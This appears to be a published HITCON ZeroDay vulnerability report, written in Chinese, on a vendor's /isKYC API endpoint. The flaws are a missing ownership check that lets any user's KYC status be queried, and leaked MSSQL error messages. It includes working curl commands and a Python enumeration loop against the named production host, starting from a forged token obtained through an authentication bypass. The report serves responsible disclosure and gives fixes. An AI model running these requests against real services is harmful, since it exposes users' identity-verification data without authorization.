Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00641
- Vendor: 互動資通股份有限公司
- Title: 互動資通 ext-api.e8d.tw /isKYC 無所有權驗證 — 偽造 Token 任意查詢用戶 KYC 狀態 + MSSQL 錯誤訊息洩漏
- Introduction: /isKYC 端點缺少所有權驗證,持偽造 Token 可查詢任意用戶 KYC 狀態,並洩漏 MSSQL 原始錯誤訊息。
處理狀態
目前狀態
公開
Last Update : 2026/08/13
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/07 02:27:08 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/14 13:03:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:57:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:57:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:57:09 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:23:38 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:13:34 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:11:36 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:31:50 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00641
- 通報者:guan4tou2 (罐頭)
- 風險:中
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ext-api.e8d.tw/login/cert
https://ext-api.e8d.tw/isKYC
https://ext-api.e8d.tw/isKYC
敘述
漏洞概述
ext-api.e8d.tw/isKYC 端點在驗證 Token 後,未驗證 UserNo 是否對應到 Token 帳號本身(缺少所有權/授權檢查),導致任何持有有效 Token(含以認證繞過取得的偽造 Token)的請求者,可查詢任意用戶的 KYC 驗證狀態。
此外,傳入非整數的 UserNo 時,後端直接將原始 MSSQL 錯誤訊息(含驅動程式版本)回傳至 API Response。
重現步驟(Live Verified: 2026-05-07)
步驟 1:取得偽造 Token(/login/cert 認證繞過,毋須密碼)
curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"crmonly1","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}'
回應:
{"status":"200","token":"ZbR13180785607552778","enterprise":"1","message":"成功"}
步驟 2:以偽造 Token 查詢任意用戶 KYC 狀態(IDOR)
import urllib.request, json, urllib.parse
token = "ZbR13180785607552778"
for user_no in [1, 2, 10, 100, 1000]:
body = json.dumps({
"account": "crmonly1",
"UserNo": str(user_no),
"custid": "E8D30NGW_2WAY",
"token": token,
"enterprise": "1",
"version": "production"
})
data = f"body={urllib.parse.quote(body)}".encode()
req = urllib.request.Request(
"https://ext-api.e8d.tw/isKYC",
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
with urllib.request.urlopen(req, timeout=10) as r:
resp = json.loads(r.read().decode())
print(f"UserNo={user_no}: {resp}")
回應:
UserNo=1: {"status":"200","message":"成功","verifyWay":"KYC","isVerify":true}
UserNo=2: {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
UserNo=10: {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
UserNo=100: {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
UserNo=1000: {"status":"200","message":"成功","verifyWay":"MID","isVerify":false}
→ 以 crmonly1 帳號 Token 成功查詢 UserNo=1/2/10/100/1000 等其他用戶的 KYC 狀態,無所有權驗證
步驟 3:MSSQL 錯誤訊息洩漏(非整數 UserNo)
curl -s -X POST "https://ext-api.e8d.tw/isKYC" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"crmonly1","UserNo":"NONEXISTENT","custid":"E8D30NGW_2WAY","token":"ZbR13180785607552778","enterprise":"1","version":"production"}'
回應(HTTP 200/500):
SQLSTATE[22018]: [Microsoft][ODBC Driver 18 for SQL Server][SQL Server]將 nvarchar 值 'NONEXISTENT' 轉換成資料類型 int 時,轉換失敗。
攻擊影響
已驗證(Verified):
- 以任意偽造 Token 查詢任意用戶 KYC 驗證狀態(verifyWay, isVerify)— IDOR
- 非整數輸入時洩漏 MSSQL 原始錯誤訊息(Microsoft ODBC Driver 18 for SQL Server 版本)
- 輸入未做型別驗證即傳入 SQL,洩漏欄位型別(userNO 為 int)
注意:/login/cert 認證繞過已於另一份通報提交(ZD-2026-00637),本報告聚焦在 /isKYC 的 IDOR 及 SQL 錯誤洩漏。
修補建議
1. /isKYC 端點應驗證 UserNo 必須對應到 Token 帳號本身(加入所有權授權檢查)
2. API Response 不應回傳原始 SQL 錯誤,應統一回傳泛化錯誤訊息
3. UserNo 輸入應在 API 層進行整數型別驗證
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。